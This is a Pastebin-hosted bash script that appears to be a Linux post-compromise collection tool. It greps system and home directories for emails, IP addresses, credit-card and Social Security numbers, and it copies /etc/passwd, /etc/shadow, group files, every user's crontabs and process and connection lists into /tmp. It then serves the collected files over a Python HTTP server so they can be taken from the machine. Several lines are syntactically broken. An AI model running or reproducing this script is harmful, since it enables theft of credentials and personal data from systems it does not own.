Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- !/bin/bash
- mkdir -p /tmp/Enumeration/GrepStuff && cd /tmp/Enumeration/GrepStuff/
- echo "Moved to GREPSTUFF"
- grep -EIrino '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' /etc /usr /var /root /home >> IPADDRESSES 2>/dev/null
- echo "IP Addresses found : Located in IPADDRESSES"
- grep -EIrino '\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b' /etc /var /root /home >> Emails 2>/dev/null
- echo "E-Mails found : Located in EMails"
- grep -EIrino '[a-zA-Z]{1,10}[0-9]{1,4}' /etc /root /home >> Usernames 2>/dev/null
- echo "Usernames Found : Located in Usernames"
- grep -EIrino '[0-9]{4}-[0-9]{4}-[0-9]{4}-[0-9]{4}' /etc /usr /var /root /home >> CCINFO 2>/dev/null
- echo "Credit Card Info Found : Located in CCINFO"
- grep -EIrino '[0-9]{3}-[0-9]{2}-[0-9]{4}' /etc /usr /var /root /home >> SSINFO 2>/dev/null
- echo "SSN Info Found : Located in SSINFO"
- echo ""
- echo "GREP SEARCHES COMPLETE : Filter as needed"
- cd /tmp/Enumeration/
- echo "Gathering Open Connections"
- netstat -pant >> TCP_UDP_Open
- echo ""
- echo "UDP CONNECTIONS"
- echo ""
- netstat -panu >> TCP_UDP_Open
- echo ""
- echo "Ports Scanned : TCP_UDP_Open
- cd /tmp/Enumeration/
- echo "Gathering Processes"
- ps -ef >> Proc_List_w_Paths
- ps -axf >> Proc_List_w_Tree
- echo "Processes Gathered : Proc_List_w_Paths & Proc_List_w_Tree
- mkdir -p /tmp/Enumeration/UserInfo && cd /tmp/Enumeration/UserInfo
- echo "Gathering User and Group Information"
- cat /etc/passwd >> Passwd
- cat /etc/shadow >> Shadow
- cat /etc/group >> Group
- echo "User and Group Info Gathered : Passwd Shadow and Group"
- echo "Disclaimer: Shadow MAY be empty due to access privledges"
- mkdir -p /tmp/Enumeration/Crons && cd /tmp/Enumeration/Crons
- echo "Gathering Crontab Info"
- for i in $( cat /etc/passwd | cut -d: -f1 ); do crontab -u $i -l >> Crontab_Individual 2>/dev/null; done
- echo "Individual Users Crontabs Found : Crontab_Individual"
- ls -lisa /etc/cron* >> System_Crons
- echo "System Crons Gathered : System_Crons"
- cd /tmp/Enumeration/
- for i in $( ls /etc/init.d ); do echo $i; cat $i; echo ""; echo ""; echo "Start of Next File"; done
- echo "Gathering RC Files"
- echo "Disclaimer: "Start of Next File" is prior to every trailing file"
- cd /tmp
- IP= $( ip addr | grep inet | grep eth0 | awk '{ print $2 }' | cut -d/ -f1)
- echo -n "Pick a Port: "
- read a
- echo $a
- (python -m SimpleHTTPServer $a) &
- echo "Server Started"
- echo "Files hosted on $IP:$a"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement